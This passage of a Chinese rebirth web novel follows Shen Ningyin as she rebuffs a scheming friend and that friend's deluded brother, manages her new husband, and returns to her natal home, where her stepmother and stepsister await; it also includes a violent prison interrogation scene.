陈青霜愣了一下，支支吾吾含糊不清，一副想解释又不知从何说起的样子。
从前的沈宁音心思简单，只以为陈青霜内向腼腆，如今，一眼就瞧出她想要蒙混过去。
沈宁音偏不进门，只站在门口等她解释。
此时此刻外头许多人都往这边看了过来。
陈青霜急了，连忙走上前拉着沈宁音的手：“好姐姐，你先进来再说吧。”
沈宁音无声低笑，推开她的手：“青霜妹妹，我如今虽嫁了人，但若给传出来私会外男，那可不是什么好名声。”
前世沈宁音名声极差，眼下，她可不肯再吃这些暗亏。
陈青霜从没想过事事都依着自己、对自己好的沈宁音竟然疑心自己算计她。
眼圈红了，陈青霜抓着她的袖子：“沈姐姐，我没有……”话落，女子的眼泪就仿若断线的珠子一颗颗滑落。
沈宁音虽知她眼下确实没这个胆子，但了解陈青霜脾性的她此刻只觉不耐，面无表情地抽回袖子，不想沾惹半分。
此时，屏风后传出个愤怒的男音：“沈宁音！亏我妹妹总在我跟前说你的好，今儿你的本性可算是暴露了！”
男人从屏风后走出来，七尺多的身高，穿着常服深衣，长得尚算周正。沈宁音一思忖就想起来这人是谁。
陈家三郎陈守岳。沈宁音微微蹙眉，看向男人。
“怎么？这么快不认得了？”陈守岳惊诧之余，颇有些咬牙切齿，看着她就好似看着敌人。
快么？沈宁音算了算，他们大约也有好些年不见了。
“哥，你少说些……”陈青霜泪眼婆娑。
“凭什么？她都这样对你了！你还护着她！你就是太善良了，不知道外头人的险恶。”陈守岳十分气愤，咬牙：“她连你都欺负，在家里还不知如何磋磨沈家的姐妹呢！”
沈宁音敏锐地捕捉到一个信息，陈守岳所说的姐妹，怕不是沈弦思？
陈青霜哭着摇头：“沈姐姐对我很好……”
陈守岳瞪着沈宁音，冲陈青霜道：“妹妹莫哭，为兄就是看不惯沈宁音这样空有皮囊的虚伪女人！为兄一定替你讨个公道！”
陈青霜满眼焦急，眼泪流得更凶了。
“……”沈宁音心下气笑了，悄摸退却半步，怕沾上蠢病：“若是青霜妹妹没什么事，那我就先告辞。”
她还没这个时间陪着他们兄妹发癫。
刚一转身。
“你！”陈守岳不敢置信瞠大眼睛，一个跨步，男人拉了一把沈宁音的袖子，“砰——”飞快地将门关上。
门外的染竹与兰香瞬间慌了。
沈宁音眉心终于蹙起：“你们在外头守着。”一股无名火起，沈宁音嘴角带上了笑意，抬头时，锐利的目光就对上了陈守岳。
男人就算蠢笨如猪，若是不相干倒也不妨事，可若是敢做出越矩的行为，那便说明有恃无恐。
前世沈宁音嫁去了姑苏，与陈家再无往来，而眼下，她倒要好奇好奇，他陈守岳凭什么？
“你！”陈守岳被沈宁音这充满压迫感的眼神一看，咽了咽口水，到底只是十几岁的男子，心性并不好，瞬间露了怯。
陈守岳意识到自己退意，又瞧着眼前女人不过十六，比自己还小上一岁，霎时脸上挂不住，通红着脖颈愤怒道：“我告诉你，你从前对我那些龌龊心思我绝对不会接受！”
“我知道你爱惨了我！少爷我风流倜傥，却不是你能肖想的！”
“……”沈宁音目瞪口呆，饶是两世为人，竟想不出该如何应对。
“三哥！”陈青霜脸色难看，神色中有肉眼可见的后悔，后悔信了他的邪带他过来！
“妹妹放心，哥哥我今日就要与她划清界限！”
沈宁音打断：“所以，你从哪儿得知我对你的……嗯……”
陈守岳半点没瞧出来状况，冷笑着继续道：“青梅竹马，哪有不对我动心的？连弦思妹妹都瞧出来了！”
“弦思妹妹只同我说，你快要成婚，她心中良善，不肯让我戳破你的龌龊让你难堪。”
“可我万万没想到，你成婚后也不消停，借着权势竟然又找上了家父！”
陈守岳咬牙切齿，满脸的贞烈：“本公子就算死，从这儿跳下去！也不会屈就你！你就死了这条心吧！”
沈宁音越听他说越觉离谱：“停。”
“怎么？戳到你痛处了？”陈守岳冷笑。
沈宁音撩起眼皮，红唇微抿：“你喜欢沈弦思？”
陈守岳待要再说，冷不丁听着她这句话，脸唰地一下红了：“你胡说什么？！”
沈宁音就明白了，抬手打开了房门。
“你做什么？！”陈守岳与陈青霜都是一惊。
沈宁音看向门外：“来人，把他扔出去。”她指着陈守岳。
下一瞬，外头走进来几个膀大腰粗的家丁，陈守岳是有些底子的，可双拳难敌四手，沈宁音身边的仆从又是侍郎府带过来的坏种，不但抬着，还动手掐，伸手扒。
“你等着！我要叫人去同父亲说！要你吃不了兜着走！”陈守岳一边愤怒咆哮一边哎哟个不停。
沈宁音听着脑仁儿疼：“把他嘴堵了。”
很快门外就只剩下唔唔唔的声音越来越远。
陈守岳唯一识趣儿的地方，就是知道不能告去侍郎府，也没琢磨着上昌平侯府闹事。
摆到陈大人跟前儿后，陈大人自然知道如何处置。
沈宁音侧过眸子，目光落到陈青霜脸上。
陈青霜脸色一下子就白了，若她先前的哭更多是因为习惯成自然，那么现在，她每一滴眼泪都是因为对陌生的害怕。
“青霜，说说吧？”沈宁音不想绕弯子。
陈青霜两只手绞紧了帕子，眼睛里的泪水要掉不掉：“沈姐姐，我不是故意的……”
沈宁音没说话。
陈青霜一眨眼睛，泪水掉了下来，漂亮得像珍珠，所谓梨花带雨，我见犹怜也不过如此。
不得不说，陈家几个姊妹里面，就数陈青霜最有小聪明，她知道自己哭的时候最美，所以在对她最有利的人面前，她总哭。
沈宁音最容易，并且每一次都心软。
但这次好像不灵了，陈青霜只得抽抽噎噎继续开口：“沈姐姐，我是约你过来说话的，你大婚，我没能给你件像样的添妆，今儿是来补上的。”
陈青霜说着话，从桌子上拿出一只精致的木匣子。
她打开来，里头放着的，是一套不错的头面。
沈宁音前世见识过不少好东西，只消一眼就能判断出东西的价值。
再看一看陈青霜头上簪的，身上戴的，都是些不值钱的花俏玩意儿。
沈宁音知道，这头面虽不及侯府给的聘礼，却也绝不是陈青霜一个不受宠的庶女能拿
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得出手的。
不过是陈家借着陈青霜的手递过来的礼罢了。
沈宁音必须接，这是人脉与交往。
陈青霜见她拿了，目光就殷切地看向那匣子，眼睛里的渴望几乎要溢出来。
从前，沈宁音同情她，怜惜她，有什么东西都巴巴地送去青衣胡同。
倘使陈青霜偶尔还礼，也都是些不值钱的。但若有陈家送给沈宁音的，沈宁音一般转个手给她赠回去。
所以陈青霜甫一看见这满匣子的头面，她心里简直要高兴坏了，当场就将这些视作是自己的所有物。
可这次，沈宁音接过匣子，再没打开，随手就递到旁边的丫鬟手里。
沈宁音没有错过陈青霜眼里的失望：“谢了。”她说。
陈青霜扯着帕子思忖半晌，终于打破沉默：“沈姐姐是生气了？”
也不等沈宁音说话，陈青霜继续道：“我兄长他言语无状，我替他跟你道歉。”
“还有！是他非要跟来，我没有喊他来！”
沈宁音美眸微眯，阳光里瑰丽如画：“哦？”
陈青霜看得一愣，将才只顾着哭，这会儿下细看去，竟发觉从前青涩的姑娘此刻已仿若脱胎换骨。
她竟生出几分更深，更浊的自卑来。
可此刻，沈宁音那令她熟悉的嗓音却从慵懒里延展出一份凉意来。
“他要跟，你便由着他来了是么？”
沈宁音的话让原本心不在焉的陈青霜愣住。
沈宁音轻笑一声，似嘲似讽：“我是什么样的身份？我并非你家血亲，十六七岁年纪，昌平侯府新妇。”
“我这样的身份，你光明正大叫了过来，你却要捎带上一个外男。若我毫无防备，只带了贴身丫鬟，再由着你三哥胡乱说嘴一通。我要拿什么维护自个儿的体面清誉？”
“我从前总是为你出头，旁人欺你辱你，我头一个维护你，可你呢？你反咬了我一口，再一句不是故意就推脱得干干净净？”
陈青霜没想到她会说出这样一番话来，字字句句都叫她臊得慌。可越是这样，陈青霜越是觉得委屈、气愤。
分明前几日都还在帮衬自己的人，怎么现在竟与外人一样作践自己？她嘴唇抿得发白，攥紧了手，雾气缭绕的眼底有几分愤怒与恨意。
沈宁音比起前世，涵养功夫修得极好，绝不会似沈弦思般暴跳如雷，可饶是如此，见着陈青霜那窝囊样也是来气的。
到底好了一场，沈宁音仁至义尽提点她两句：“你家里人说什么就是什么，你哥哥要来，你就由着他来，你爹爹母亲叫你做什么你就做什么？”
“你自己不争气，我能扶你几次，护你几次？”
“够了！”陈青霜愤怒地盯着沈宁音的眼睛，眼泪无声流淌：“你就是想骂我贱骨头！你就是瞧不起我！”
沈宁音都要气笑了：“对，你就是贱骨头。”
“你！”陈青霜抓起一旁的花瓶，狠狠摔在地上：“沈宁音！我又没有求你帮着我，更没有要你护着我！都是你自己要做的！”
“你这种从小锦衣玉食的人又怎会知道我的苦！如果我也是侍郎府的嫡女！如果我……”
陈青霜说着说着，捂着脸哭着跑了出去。
沈宁音没有去追。
兰香与染竹进来，沈宁音只是摆了摆手。掌柜的过来时，笑着询问地上的花瓶碎片。
从前，沈宁音与陈青霜但凡相处弄坏了什么，都是沈宁音赔付，兰香这次也很乖觉地要去掏荷包。
冷不丁荷包上覆上了一只熟悉的玉手，沈宁音的声音淡淡的：“那位是刑部陈大人的千金，无妨多少银子，可以去青衣胡同陈府要。”
10. 诏狱
沈宁音上马车的时候，眼角余光就瞥见碎月楼派人匆匆往青衣胡同去。
“那打碎的瓶子是景州来的，不便宜。”沈宁音听见染竹小声嘀咕。
景州出贡瓷，这回要赔不老少。陈家的主母又是个厉害的。沈宁音知道，陈青霜不会好过。
她犹记得那年牡丹花开，陈青霜站在花下，怯懦自卑，素衣白裙。一如她与陈家那几位花枝招展的嫡姐立在一处般格格不入。苍白的脸颊，细软的发丝在阳光里绽出晕黄来，看着就纤细羸弱。
是沈宁音走过去牵住了她的手，给她一缕光。
可沈宁音如今回想，只觉自己蠢得可笑。
“与咱们何干？”兰香语气里掺着明显的火气：“咱们少夫人刚嫁人，陈五姑娘明知道不该带陈三公子，偏大摇大摆地领了来。若非少夫人谨慎，多带了家丁仆役，恐怕事情不堪设想。她做下这等没轻没重的事，挨板子也是她活该！”
沈宁音放下了，便也不再去想。
车声粼粼，帘外的市井喧嚣，初秋时分，忽然下起了淅淅沥沥的雨。沈宁音忽然想起前世那年的庙会。
也是初秋，庙会冷清如鬼蜮，只因上京城尸山血海，映红了半面城河，皇城司疯了，薛岩也疯了。而如今，那位会丧子的执掌朝堂的秉笔太监，此刻还没上位。
前世的上京就有传言，那死去的衙内乃是薛岩入宫前的私生子。
思及此，她抬眸，透过纤细的窗帘缝，远处的紫禁城隐约露出恢弘檐角，雾蒙蒙的，窥不真切。
雨越下越大，街市上的人渐渐散完了，只余下滂滂雨雾。
上京城诏狱，牢窗本就狭小，此刻就更加昏暗。
亮起的灯火映照下，粗糙的石头墙面与地砖缝隙凿就着阴沉压抑的格局。很快，阴惨惨的寂静就被惨叫声划破了口子，像是裂开的浓黑的水墨后，露出的血色背面。
狭长的诏狱走廊尽头，腐朽与铁锈味充斥其间，灰尘在光芒里飞舞。
几个黑衣皂靴的公差死死压着一个犯人，锁链凌乱舞动的声音里，是男人歇斯底里的惨叫与哀求。
犯人穿着血迹斑斑的囚服，被打得满脸青紫，浑身上下没有一处好肉，嘶哑尖锐的声音里带着惊恐。
“薛大人！薛大人我求求你了，该交代的下官都交代了！”
诡异的是，在他面前大马金刀坐着的，同样是一身囚衣的男人。
男人戴着半片面具，即便一声不吭，浑身的煞气却像是拥有实质般招展而出，摄人心魄。
他骨节分明的手指轻敲，目光专注地打量着桌上的供状。
“薛大人，下官真的只是听命行事！”犯人带上了哭腔：“下官小儿子刚满月！您放我这一次吧。”
“呵。”薛岚阴沉冷笑，抬手抽出一旁的绣春刀扔到了地上：“有孩儿？与你犯错何干？”
薛岚眉心蹙拢：“断他一掌。”
犯人目眦欲裂，从惊恐到绝望，最后挣扎着：“是云英郡主！是云英郡主让我递的消息！”
薛岚闭着眼睛，眉头皱得更深：“一派胡言，割了他的舌头。”
烛火摇曳，喑哑的惨叫比起歇斯底里更加显得惊悚可怖。
即便不是头一遭伺候副使大人，那资历浅些的公差照旧已经白了脸色，两股战战。
浓郁的血腥味里，他再瞧见“嗒嗒”滴血的木盒子，几乎都要腿软。
“请大人过目。”有人奉上染血的木盒。
薛岚接过看了一眼，也不管血珠在囚衣上晕染，他手指在桌案轻叩，良久，吩咐道：“送去给郡主。”
公差们不敢耽搁，自去了。
昌平侯府。
院落里的红绸彩饰已经去了，唯有大红的灯笼和祁秀院的喜字未除，沈宁音坐在窗旁绣花。
染竹点了灯，屋子里明亮了不少，她好奇地看过去：“少夫人绣得真好，倒像是绣工突飞猛进了似的。”
染竹说得轻快，沈宁音捏着针的手却一顿。
前世，初嫁姑苏那两年，冷家尚未分府。冷元景不受重视，经常被几个嫂嫂占用份例。沈宁音嫁过来之前担着恶劣的名声，嫁妆薄，因为沈弦思还得罪了婆家，日子过得紧巴巴的。
冷元景天天买醉，骂她是丧门星，花钱又从不收敛。不得已，沈宁音只好私底下接些绣活贴补家用。她绣工越来越好，心思也很巧，绣出来的东西栩栩如生，在姑苏极富盛名。
沈宁音继续飞针走线，脸上是云淡风轻：“从前就绣得好，如今绣上几针也便熟稔了。”
染竹与兰香倒不觉纳罕，沈宁音从小都是沈家着力培养的主母，才名远扬，什么都练得好。贤名上达天听，伪圣曾问询，要将她指给太子。沈侍郎原已应下，只等着一朝及笄入侍东宫。
可紧接着就遇到圣人回归，伪朝太子随后也葬身火海。再就是迎来沈弦思的回归……
一切就仿若烈火烹油，极致辉煌后的轰然倒塌。沈宁音一夜间成了弃子，连带着整个沈家都排挤着她。
“世子爷回府了。”突然，有丫鬟在外头喜滋滋地禀告。
沈宁音放下了绣绷。
秦耀阳踏进二门，原要去见周婉，可刚走了不远就看见撑着伞裹了件软薄斗篷的沈宁音。
他脚步稍顿，女人已经走到跟前，善睐的水眸在风雨中乌沉沉的，墨色般沉厚。
“夫君，可用过膳了？”她红唇染着笑，抬眸看他。
“不曾。”秦耀阳没过去，她便将伞遮了上来，温温柔柔的声音，有一搭没一搭地同他说着话。
这声音，语气，是秦耀阳在侯府、在外头、在周婉处没有听着过的奇异。简简单单的话，却莫名叫人放松。
昌平侯被扣在宫中，圣人的意思无人敢揣测。秦耀阳莫说见到父亲，就连打听消息都做不到。所以他这次回来，深感无力，秦耀阳是想见周婉的，要她去求求那位元妃。
“我今儿去了宫里。”秦耀阳不知为何，开口解释：“父亲回不来，总要探探消息。你也知道，婉儿她……”他希望眼前人能懂事退让。
沈宁音闻言，给他个安抚的笑：“夫君不必担忧。”
她知道秦耀阳是个没本事的，长到二十六七也没能去过边塞。
人，越没有什么，就越要急于证明什么，所以，这么多人里，秦耀阳反倒是最希望能救出昌平侯的。
沈宁音若不管他，习惯等靠要的秦耀阳怕是今天晚上就得回那周婉的盘丝洞去。
她果断抛出橄榄枝：“夫君先去祁秀院用些饭菜，有什么事情，妾身可以替你分忧。”
秦耀阳皱眉。沈宁音便接着道：“公爹的事儿终究是前朝之事。我父亲定能说得上话。”
听了沈宁音的话，秦耀阳蹙紧的眉头倏然松开，缓缓点头：“是有几分道理。”
元妃是宠妃，后宫不能干政，她爱惜羽毛，定会更加谨慎，秦耀阳想明白这一点，便也歇了去兰心居的心思。
傍晚，侍郎府就来了回信，沈宁
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音当着秦耀阳的面抽出来看。
不出所料，信笺里，沈定山大包大揽，处处画饼。秦耀阳满心感激，看向沈宁音的目光都温柔了不少，还叫长随拿了两件金器过来赠给她。
沈宁音却知道，父亲不过是顺手罢了，他去做那求情的，成了便是他的本事，所有功劳都要算到他头上，不成，也是圣人有深意，怎么都没坏处。
至于秦耀阳给的金器，金也委实是足金，可惜样式里多有玉兰花样。而这玉兰花，是沈弦思前世恨毒的东西。
因为周婉喜欢。
把给相好的东西赠予原配他竟是面不改色。沈宁音忽然觉着周婉这些年也真真没趣，所谓情情爱爱，海誓山盟，也不过如此。
她看了一眼，便将金饰交给兰香锁去嫁妆匣子里。左右也值点银子。
翌日，沈宁音回门的日子。
昨儿一场大雨，路上积了大大小小的水洼，好在雨已经停了。
昌平侯府这次办得分外隆重，备的礼成箱，且都是上乘好物。
沈宁音发间用了老夫人给的红玉插梳，各色珠翠都是一眼矜贵，身上穿着的是纻丝罗衣，下搭着红色百迭裙，行走间不见飘然更添几分内敛的娴雅，头上云髻倭堕，妆容贵气端庄。
比起出阁前，比起前世，都要出众许多。所谓人靠衣装，她像是换了个人似的，耀眼到过分。
秦耀阳等在车旁扶她上车，见着沈宁音的时候，明显地愣怔了。
沈宁音唤了两声他才反应过来。
对这效果，沈宁音很满意，她要的就是张扬，如此，娘家才能知晓自己的价值。
而且，男人都要面子，尤其在外头。哪怕秦耀阳不爱自己，却也会希望自己名义上的妻子光彩照人。男人藏起来的娇娘不会叫他在意。只有外头众人惊艳，觊觎，让男人因着危机感与骄傲交织的折磨而藏起来的女子，那才会令他在意。
沈宁音不要他的爱，却要他十足十的在意与尊重。
染竹与兰香不明就里，只捂着嘴冲沈宁音笑，沈宁音也只当没瞧见。
下人们已经知晓世子宠爱新夫人，“夜夜留宿”，连带着对祁秀院的下人都和善讨好了许多。旁人怎么想无所谓，可沈宁音琢磨着自个儿院里的人万不能生出些不必有的妄念，得早早立规矩才是。
马车在侍郎府正门停了。
沈家不似百年世家的底蕴，又没有圣人跟前儿的从龙功绩，这些年门庭冷落，几乎成了空壳子。尤其是没做成伪朝太子岳丈后，沈定山就更没了入主中书门下省的野心，越发低调起来，那两只象征权势的石狮子上都延了几许苔色。
此刻，在门口相迎的，是沈家的小辈与仆从。
婆子正要上前，面前已然拦着了一个锦衣玉带的俊秀青年。
秦耀阳没叫侍郎府的人来，而是下车时自己朝里头伸出手，小心体贴地要扶妻子下车。
他已二十多岁，原就姿容出色，再加上独属于成熟男人的稳练气质，又有今日的华贵深衣锦袍。已经叫头一次见他的侍郎府众人心下惊叹了。
而现在，这样一个模样、身份都十分完美的男人，甚至表现出在许多贵胄身上十分罕见的对妻子体贴温柔。
在场众人都惊呆了。
等到沈宁音下车，她将手放在秦耀阳的掌心，步履站定，那浑富贵逼人的装扮，与她此刻不同于从前的上位者气息几乎是浑然一体，贵不可言。
沈宁音抬眸，一眼就觑见了门口露出的一阕裙角。
11. 归宁
沈弦思喜浅嫩颜色。只消一眼，沈宁音便知门后是她。
大哥大嫂两个嫡妹并几个庶姊妹都在。
姊妹齐出，就连大哥沈远淮都被从衙门里喊了来，沈家这对昌平侯府的接待规格已然是重视得不能再重视了。
是以侯府跟来的方嬷嬷看在眼中，脸上都极光彩。
沈宁音与秦耀阳举步走去。
依着规矩，沈宁音将手里帛书礼单递到大哥手里，沈远淮给了妻子蔡氏，蔡氏只一眼，黑墨似的瞳仁内就缀了几许金光。
蔡氏拉着沈宁音的手，亲亲热热地引着她夫妻二人往里头去：“妹妹妹夫可算来了，今儿喜鹊叽叽喳喳地叫，父亲母亲一早就盼着呢，快些进去吧。”
沈宁音笑得温婉端方，却是悄然多打量了蔡氏一眼，心下难掩纳罕。
前世的蔡氏最恨沈宁音，恨不得她死外边儿、莫回来。以至于蔡氏来拉自己的手，沈宁音都有些不适应，本能地想抽出来。
这时，她瞧见蔡氏身后双丫髻的小姑娘。
“玉姐儿，快叫姑母。”蔡氏摸摸她的小脸。沈玉珠俏生生地站在那，见沈宁音看过去，露出个友善羞赧的莞尔笑容：“姑母安好。”未长成的少女声音糯甜，带着慕艾年岁特有的清透。
干干净净的。
沈宁音眼神有些复杂，沈家人个顶个的都不无辜，唯独沈玉珠，她没作过恶，她冰雪聪慧，却是下场最惨的一个。
侍郎府被抄家那日，她尚未出阁，沈宁音拖着病体从姑苏赶过来时，明珠蒙尘，沈玉珠已然在教坊司里给好些人轮着作践了。
沈宁音只看见那白布盖着的衣不蔽体的尸首，泛着斑斑青紫与血迹。
“哎。”沈宁音心疼她，笑着应她，伸手从染竹那儿抓了把银锞子塞到沈玉珠手里。
抓得有些多了，沈玉珠瞠大秋水一般的眸看过去，刚要推辞，就看见她那位年轻的姑母已经又抓着银锞子给沈家其他几个未及笄的小姐儿哥儿去了。沈玉珠抿了抿唇，敛眸将银锞子放进了荷包里。
沈玉珠摸了摸怀里的玉玦，似在犹豫。
染竹和兰香也是有眼色的，在场沈家仆婢有一个算一个，都是两个银锞子并一把铜钱的打赏。
沈宁音也不是大度不记仇，侍郎府那起子狗奴才见风使舵的劲儿她早见识过。
只是，这次的花销都算在公中，沈宁音不介意借花献佛。
而且捧高踩低之辈，最是好收买。
沈宁音自个儿身边的那些陪房奴才里，大部分都有亲人在侍郎府。所以百利而无一害。
沈引章与沈含鸢是沈夫人的嫡女，往日里沈宁音待她二人最好最亲厚，如今一见沈宁音发银锞子，顿时就满面期待起来。
可沈宁音就好似没瞧见她俩似的，直接略过。
连下人都有了打赏，唯独她二人没有，两人的神色各不相同，却都十分精彩。
沈引章脸色难看，而沈含鸢却好似要哭了似的。
稚气未脱的沈玉珠悄悄靠拢，抓了几颗银锞子递给沈含鸢。可沈含鸢就好似受了极大侮辱似的，一把拍掉了沈玉珠手里的银锞子：“别人施舍给你的东西，你得意个什么？！”
众人都看了过去。
沈含鸢眼泪挂在眼睫上，身子一颤，才意识到自己做了什么。这会儿蔡氏与大哥沈远淮都在呢。
沈宁音在蔡氏赶上来之前已经握住了沈玉珠的手，小姑娘一双抚琴的手，连指上的茧子都既白且薄，春葱似的，那一拍正拍在手背，红了一片。
沈玉珠应是疼的，可她没哭，只眼圈有几分红：“不打紧，小姑姑也不是故意的。”
“对，她都说了，我不是故意的。”沈含鸢试图狡辩，但沈宁音看懒得看她一眼。
连秦耀阳都皱了眉。
沈玉珠觉着自己惹了大家不快，愧疚不已，尤其今日还是沈宁音回门的大日子。
当下便拿出了早就准备给的玉玦放到沈宁音掌心。
沈宁音愣了一下，旁观着的秦耀阳见到那玉玦神色也有惊讶。
冰魄玉种，入手微暖。沈宁音能看出来这玉玦成色极好，她是见识过不少好东西的，前世沈宁音拥有的宝贝曾让身为新贵的冷元景都动了杀妻霸占的心思。
“玉姐儿的好意我心领了，这玉玦你收回去吧。”沈宁音既瞧出了价值，便也不肯贪这小女娘的宝贝。
蔡氏松了口气，连忙过来拉女儿：“你姑母都说不要了，你姑母什么好东西没有？能拿你的？你快收回去罢，莫丢人现眼。”
沈玉珠看了自家娘亲一眼，倔强地把玉玦塞到沈宁音怀里，眼神并不赞同：“姑母的东西再好，也是姑母自个儿的，礼尚往来，这个，是玉珠的回礼。我身上只带了这个，阿娘说可保平安。我也愿姑母平安顺遂。”
沈宁音一时有些愣怔，经一世磋磨，她早忘了多少年没遇着过这样纯粹的姑娘，前世交往不多，她也只知大哥荒唐废物，淤泥里出了一枝白荷，如今乍见，很难不喜欢。
低头看看玉玦，沈宁音脑子里倏然又浮现出前世她衣不蔽体死得不干不净的惨况。
沈宁音知道自己不该收的，可是却缓缓握紧了玉玦。
“好。”她看向沈玉珠：“玉珠，你会有福气的。”
蔡氏在沈宁音把玉玦收起来的瞬间，肠子都悔青了，只恨自己手欠把这等宝贝给了女儿，还不提醒女儿东西的贵重。
但给都给了，偏人家侯府少夫人也收了，总不能再要回来吧？
蔡氏发作不得，心中憋得慌。
沈宁音也没管那么多，又抓了一把银锞子塞进沈玉珠手里。
她不让小姑娘推辞，沈宁音道：“先前算你回礼，但有一句。”
沈宁音微笑着，小声说：“长者赐不可辞。”
知礼守节的沈玉珠这才红着小脸把银锞子收了起来：“谢谢姑母。”
“好了。”秦耀阳一手背在身后，开口：“宁音，你也别只顾着姊妹和晚辈们，岳丈跟岳母还在等着。”他语气里有一丝不耐。
倒不是对沈宁音的，沈宁音也看出来，秦耀阳这独苗大抵是顺遂惯了，姊妹家争风的事儿，他是本能的敏锐，也是本能地厌。
再加上，他对沈定山还有八九分期冀，自然想快些见着。
沈远淮连忙开口道：“世子，二妹妹，快请。”
这小段插曲耽搁得不算久，但两人相携至客厅时，沈宁音远远儿地觑着沈父倾身在望。
沈定山是很满意昌平侯府这门第的，两夫妇一来，当即令人奉了热茶，具是顶顶好的六安瓜片。
沈夫人穿的是赭绿色团花褙子，打扮得不显贵也不招摇，下边儿月白色百迭裙原是姑娘们爱穿的，可褙子这厚重的色彩一压，也显得不那么跳脱了，是恰到好处的持重贵气。
沈宁音望了一眼，知道这位继母是花了心思打扮的。她既然有心思放在妆容，心情必是很好。
沈宁音可不愿她心情这样好，寒暄两句之后：“咦？今儿怎么没见着弦思妹妹？”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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貌似无意的话，沈宁音说得极自然。
沈定山一愣，四下扫了眼，果真没见。当即就看向了沈夫人。
沈弦思骄纵，阮家商贾之家，养女儿并不注重礼数，而回来这两年，沈夫人也不管束，反而纵着。自从前阵子闹出要把给昌平侯府的嫁妆挪给沈弦思之事后，沈定山就对沈夫人有了不满。
沈夫人被当着侯府外人的面儿这样看着，面子上挂不住，攥着椅子扶手，又觉委屈，扯了个笑道：“许是备嫁在忙，还没听着消息。”
“不是啊，先前我在门口就看见过弦思姑姑……”沈玉珠认真说话，还没说完就被蔡氏捂住嘴：“小孩儿乱说话，当不得真。”
又冲沈玉珠小声教训：“你看着什么了？是看错了吧？”
沈玉珠还想争辩，沈宁音已经起身冲沈定山与沈夫人笑着开口：“不妨事，妹妹大喜，我这个做姐姐的，也该去恭贺的。爹爹与世子难得见面，正该好好聊聊，我就先去转转了。”
秦耀阳是当真想与沈定山商议营救昌平侯的大事，沈宁音此番话，正合他的心意，毕竟就算是岳母或是连襟姊妹，也不是什么都能叫人听去的。
秦耀阳嘴角带笑，目光温柔得冲沈宁音点点头：“也好，你去吧。回头我去寻你。”
沈宁音出去的时候，里头众人也识趣地退了出来。
沈玉珠想过去同沈宁音说话，被蔡氏一把拽住。蔡氏拉着女儿就往回走，边走边告诫：“那么多姊妹兄弟没上去还礼，就你蠢，人家一点儿银子就换去了你的玉玦！”
沈玉珠摸了摸被敲了的一下的脑袋，蹙眉：“阿娘，玉儿觉得姑母是好人。”
“好什么人？”蔡氏气不打一处来，又怕旁人听见，环顾了一圈才道：“她若是好人，哪里会半点面子不给你那两个小姑姑？”
“她还收你东西。”蔡氏呸了一口：“小孩儿的东西都贪。”
不过，话虽如此，蔡氏也没蠢到瞧不出来：方才在客厅里，若非沈宁音起身打断，说不定自家玉珠又要叫婆母不舒服了。
蔡氏本就叫沈夫人不喜，自己丈夫被那女人往废了养，只管着她那个自己肚里爬出来的嫡子。
一想到沈夫人，蔡氏心下叹息，伸手摸了摸女儿的毛茸茸的发髻：“玉姐儿，阿娘有时候也后悔，不该送你去什么女学，叫你学这些大道理有何用？平白开罪了人去。”
倒不如，让她平平安安长大，嫁个平平常常的人家，过个顺顺遂遂的人生。
这样，方好。
蔡氏又叹息了一回，领着女儿往自家院子走。她突然听着女儿糯甜压低的声音——
“宁姑母是好人。”她说：“我定不会瞧错。”
兰芝院内。
伺候的丫鬟仆婢看见沈宁音与沈夫人一道过来，都是一脸好奇地打量。
官宦府邸的消息传得很快，大家只听说沈家女入了侯府很受宠爱，这回归宁还大肆赏赐。众人都想亲眼瞧瞧。
沈宁音在侍郎府的人生，可谓是大起大落。
从入侍东宫的第一侧妃，甚至比正妃还早定下，到后来伪朝倾覆，沈定山不被信重，所有世家大族都有顾忌，自不敢求娶。
她便从天上云，跌入尘埃，沦为弃子。
后来，真小姐找回，沈二姑娘又从先夫人嫡女，一下子变成什么都不是的商户女。
接连的打击，没有人觉得她还能翻身，可如今，似乎又不一样了。
大家就更盼着见识见识她如今的光景。
12. 嫉妒
沈宁音穿着打扮尽显雍容华贵，派头十足。后头跟着的，是老夫人特特派过来的方嬷嬷与一众昌平侯府的丫鬟。
那场面浩浩荡荡，便是比起侍郎府的掌家主母都要威仪些。
昌平侯府有从龙之功，已故老侯爷在圣人年轻时候跟在他身边儿出生入死，虽说昌平侯府现在不及从前门楣光耀，可方嬷嬷身边儿调教出来的人，规矩礼仪都是比照着紫禁城里的。
兰芝院内的仆婢们看她们举手投足的模样，连呼吸都不由得放轻了许多。
沈夫人很不自在，甫一踏进院子，便冲沈宁音道：“宁儿，你妹妹就在里头。”她笑得慈和：“咱们娘儿几个说说体己话，周围还是得安静些好。”
沈宁音闻言，温柔一笑：“母亲，女儿明白。”她朝后头抬手。
方嬷嬷瞬间就懂了，上前一步扶着沈宁音：“二少夫人。”
沈宁音浅笑开口：“方嬷嬷就跟着一块儿进去吧。有你在，谅也无人敢多嘴。”
方嬷嬷愣了一瞬，笑得眼角蜿蜒出几许皱纹来：“请二少夫人、沈夫人放心，老奴定会约束好她们。”
沈夫人本意是想叫沈宁音屏退左右，如此才好拿捏沈宁音，哪知这规矩了十几年素来不敢造次的养女竟叫她碰了个软钉子。
果然翅膀硬了。
只是沈夫人心里虽膈应，偏奈何不得她，沈宁音是出嫁女，除非要撕破脸，不然断没有在归宁日当众下女儿面子的。
沈夫人冷着一张脸，与沈宁音一道迈进了次间的门。
刚站定，一只青瓷茶杯就从里头砸来，沈宁音早有防备，脚尖一旋就避了开去。
“砰——”茶杯发出刺耳的声音，砸中人后掉在地上，摔作了几瓣。
“出去！”沈弦思大喊大叫，气急败坏，浑不似个大家闺秀，却好像个泼妇般：“不是说了谁也不许进来么？都聋了！”
她恶狠狠地回头，看清来人时，脸上怨愤的表情有一瞬间的皴裂。
沈弦思不知所措的目光落在沈宁音身后。落后她半个身位处，一个黑底暗花比甲的老嬷嬷正捂着脑袋。
那老嬷嬷眼神晦暗不明，看不出什么表情，但周身散发出的气场让沈弦思骨子里透出些寒意来。
“思儿！不得放肆！”沈夫人大声训斥，上前几步将沈弦思拉到一旁，看似是在教训她，实际那站位却把人挡在了身后。
沈宁音掀起眼皮看过去。在场谁都不是傻子。沈夫人护短得也太明显。
她知道，这位继夫人乃沈定山嫡妻的庶妹，嫡妻本也是撞了大运高嫁，而沈夫人自小更没被家里着重培养过。
沈夫人拿捏不着轻重。
而恰好，沈弦思砸着的方嬷嬷偏不是她以为的侯府分给沈宁音自己的下人。
那是从小伺候老夫人的心腹，这次是特特派过来给秦耀阳与沈宁音撑场子的。
沈夫人骨子里最瞧不上下人们，只把他们当刀子，当鹰犬。
